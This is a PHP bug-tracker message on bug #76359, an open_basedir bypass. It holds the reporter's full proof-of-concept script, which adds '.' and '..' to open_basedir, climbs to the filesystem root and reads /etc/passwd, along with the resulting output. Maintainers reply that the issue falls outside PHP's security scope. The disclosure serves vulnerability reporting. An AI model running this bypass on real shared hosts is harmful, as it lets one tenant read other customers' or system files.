Bug #76359 [Com]: open_basedir bypass through adding ".."

From: Date: Fri, 21 May 2021 10:17:57 +0000
Subject: Bug #76359 [Com]: open_basedir bypass through adding ".."
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-233944@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=76359&edit=1 ID: 76359 Comment by: rtrtrtrtrt at dfdfdfdf dot dfd Reported by: buglloc at yandex dot ru Summary: open_basedir bypass through adding ".." Status: Analyzed Type: Bug Package: Safe Mode/open_basedir Operating System: GNU/Linux PHP Version: 7.2.5 Assigned To: cmb Block user comment: N Private report: N New Comment: > open_basedir isn't meant to protect the system from a local user. > open_basedir is meant to protect an application from accessing > directories it was not written to access this is wrong! the purpose of open_basedir is that customer A can't write/access to webspace from customer B and please don't come up with containers Previous Comments: ------------------------------------------------------------------------ [2021-05-21 10:10:26] cmb@php.net Indeed, this is not a security issue according to our classification[1]. [1] <https://wiki.php.net/security> ------------------------------------------------------------------------ [2018-05-20 21:08:18] rasmus@php.net You left out the 3rd and most important pre-condition there. That the attacker can write arbitrary PHP code and execute it. With that condition it is game over. open_basedir isn't meant to protect the system from a local user. open_basedir is meant to protect an application from accessing directories it was not written to access. In your case you are writing an application explicitly to circumvent open_basedir which is well outside its scope. Having said that, I can't see any reason to ever allow adding ".." to open_basedir at runtime which is an easy fix. ------------------------------------------------------------------------ [2018-05-20 19:02:02] buglloc at yandex dot ru Description: ------------ open_basedir can by bypassed with two preconditions: - allowed ini_set function (almost always allowed) - have writable dir in any of open_basedir paths Look at the test script, I hope it does the following:    - creates a folder in one of the allowed open_basedirs    - moved into it    - adds "." and ".." into the "open_basedir", because this is allowed (".." and "." are within the allowed directories)    - goes to the root, because ".." in the "open_basedir"    - sets "open_basedir" to "/", because "." in the "open_basedir" Let's test it: $ php -v PHP 7.2.5 (cli) (built: May 10 2018 20:21:23) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies $ php -d 'open_basedir=/tmp/' -f poc.php PHP Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/tmp/) in /tmp/poc.php on line 12 PHP Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /tmp/poc.php on line 12 try to read /etc/passwd: false original open_basedir: '/tmp/' PHP Warning: mkdir(): File exists in /tmp/poc.php on line 31 create subdir /tmp/test123: false cwd into /tmp/test123: true add "." and ".." into open_basedir setting: '/tmp/' cd ..: true current cwd: '/tmp' cd ..: true current cwd: '/' set "/" as allowed open_basedir: '/tmp/:.:..' try to read /etc/passwd: 'root:x:0:0::/root:/bin/bash daemon:x:2:2::/:/sbin/nologin mail:x:12:12::/var/spool/mail:/sbin/nologin systemd-journal-remote:x:981:981:systemd Journal Remote:/:/sbin/nologin uuidd:x:68:68::/:/sbin/nologin systemd-resolve:x:980:980:systemd Resolver:/:/sbin/nologin http:x:33:33::/srv/http:/sbin/nologin systemd-network:x:979:979:systemd Network Management:/:/sbin/nologin systemd-coredump:x:982:982:systemd Core Dumper:/:/sbin/nologin dbus:x:81:81:System Message Bus:/:/sbin/nologin nobody:x:65534:65534:Nobody:/:/sbin/nologin ftp:x:14:11::/srv/ftp:/sbin/nologin bin:x:1:1::/:/sbin/nologin buglloc:x:1000:1000::/home/buglloc:/bin/zsh git:x:978:978:git daemon user:/:/usr/bin/git-shell avahi:x:977:977:Avahi mDNS/DNS-SD daemon:/:/sbin/nologin colord:x:976:976:Color management daemon:/var/lib/colord:/sbin/nologin polkitd:x:102:102:PolicyKit daemon:/:/sbin/nologin usbmux:x:140:140:usbmux user:/:/sbin/nologin dnsmasq:x:973:973:dnsmasq daemon:/:/sbin/nologin ntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false rtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin ' Test script: --------------- <?php function step($desc, $result = null) { if ($result !== null) { $r = var_export($result, true); echo "${desc}: ${r}\n"; } else { echo "${desc}\n"; } } step('try to read /etc/passwd', file_get_contents('/etc/passwd')); $origBasedir = ini_get('open_basedir'); step('original open_basedir', $origBasedir); $targetDir = ''; foreach (explode(':', $origBasedir) as $path) { $path = realpath($path); if (is_writable($path)) { $targetDir = $path; break; } } if (!$targetDir) { die('failed to get a writable directory in the list of allowed basedirs'); } $subdir = $targetDir.'/test123'; step("create subdir ${subdir}", mkdir($subdir)); step("cwd into ${subdir}", chdir($subdir)); step('add "." and ".." into open_basedir setting', ini_set('open_basedir', "${origBasedir}:.:..")); while (getcwd() !== '/') { step('cd ..', chdir('..')); step('current cwd', getcwd()); } step('set "/" as allowed open_basedir', ini_set('open_basedir', '/')); step('try to read /etc/passwd', file_get_contents('/etc/passwd')); Expected result: ---------------- Settings ".." or "." into open_basedir must be prohibited Actual result: -------------- We easily can bypass open_basedir restriction and read "/etc/passwd" (or any other) file ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=76359&edit=1

« previous php.bugs (#233944) next »